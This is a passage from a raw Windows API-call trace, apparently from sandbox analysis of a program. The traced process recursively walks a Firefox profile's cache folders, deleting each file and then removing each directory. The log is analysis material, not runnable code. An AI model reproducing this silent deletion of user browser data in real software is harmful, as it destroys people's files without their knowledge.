pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00", pszFile="7AABCd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00\\7AABCd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00\\7AABCd01" [0117.470] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00\\7AABCd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\00\\7aabcd01")) returned 1 [0117.471] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x71b7, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7AABCd01", cAlternateFileName="")) returned 0 [0117.471] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.471] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.471] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.471] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.471] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\00")) returned 1 [0117.471] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="10", cAlternateFileName="")) returned 1 [0117.471] lstrlenW (lpString="10") returned 2 [0117.471] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="10" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10" [0117.471] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10") returned 84 [0117.471] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.471] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.471] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.471] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10\\*.*" [0117.471] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.476] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.476] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="16A09d01", cAlternateFileName="")) returned 1 [0117.476] lstrlenW (lpString="16A09d01") returned 8 [0117.476] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10", pszFile="16A09d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10\\16A09d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10\\16A09d01" [0117.476] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\10\\16a09d01")) returned 1 [0117.477] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42470340, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42470340, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42470340, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="16A09d01", cAlternateFileName="")) returned 0 [0117.477] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.477] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.477] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.477] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.477] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\10" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\10")) returned 1 [0117.477] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42234ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42234ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42234ea0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="2C", cAlternateFileName="")) returned 1 [0117.477] lstrlenW (lpString="2C") returned 2 [0117.477] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="2C" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C" [0117.477] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C") returned 84 [0117.477] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.477] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.478] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.478] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C\\*.*" [0117.478] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42234ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42234ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42234ea0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.478] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42234ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42234ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42234ea0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.478] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42234ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42234ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42281160, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="24B53d01", cAlternateFileName="")) returned 1 [0117.478] lstrlenW (lpString="24B53d01") returned 8 [0117.478] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C", pszFile="24B53d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C\\24B53d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C\\24B53d01" [0117.478] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\2c\\24b53d01")) returned 1 [0117.478] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42234ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42234ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42281160, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="24B53d01", cAlternateFileName="")) returned 0 [0117.478] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.478] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.478] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.478] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.478] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\2C" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\2c")) returned 1 [0117.479] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="49", cAlternateFileName="")) returned 1 [0117.479] lstrlenW (lpString="49") returned 2 [0117.479] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="49" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49" [0117.479] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49") returned 84 [0117.479] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.479] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.479] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.479] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49\\*.*" [0117.479] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.495] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.495] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1a037, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="38779d01", cAlternateFileName="")) returned 1 [0117.495] lstrlenW (lpString="38779d01") returned 8 [0117.495] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49", pszFile="38779d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49\\38779d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49\\38779d01" [0117.495] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49\\38779d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\49\\38779d01")) returned 1 [0117.495] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1a037, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="38779d01", cAlternateFileName="")) returned 0 [0117.495] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.495] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.496] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.496] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.496] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\49" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\49")) returned 1 [0117.496] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="8D", cAlternateFileName="")) returned 1 [0117.496] lstrlenW (lpString="8D") returned 2 [0117.496] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="8D" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D" [0117.496] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D") returned 84 [0117.496] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.496] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.496] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.496] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D\\*.*" [0117.496] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.496] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.496] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1fdaf, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="2B984d01", cAlternateFileName="")) returned 1 [0117.496] lstrlenW (lpString="2B984d01") returned 8 [0117.496] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D", pszFile="2B984d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D\\2B984d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D\\2B984d01" [0117.496] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D\\2B984d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\8d\\2b984d01")) returned 1 [0117.497] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635523f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1fdaf, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="2B984d01", cAlternateFileName="")) returned 0 [0117.497] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.497] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.497] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.497] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.497] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\8D" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\8d")) returned 1 [0117.497] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f3d0ee0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3d0ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3d0ee0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="E0", cAlternateFileName="")) returned 1 [0117.497] lstrlenW (lpString="E0") returned 2 [0117.497] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="E0" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0") 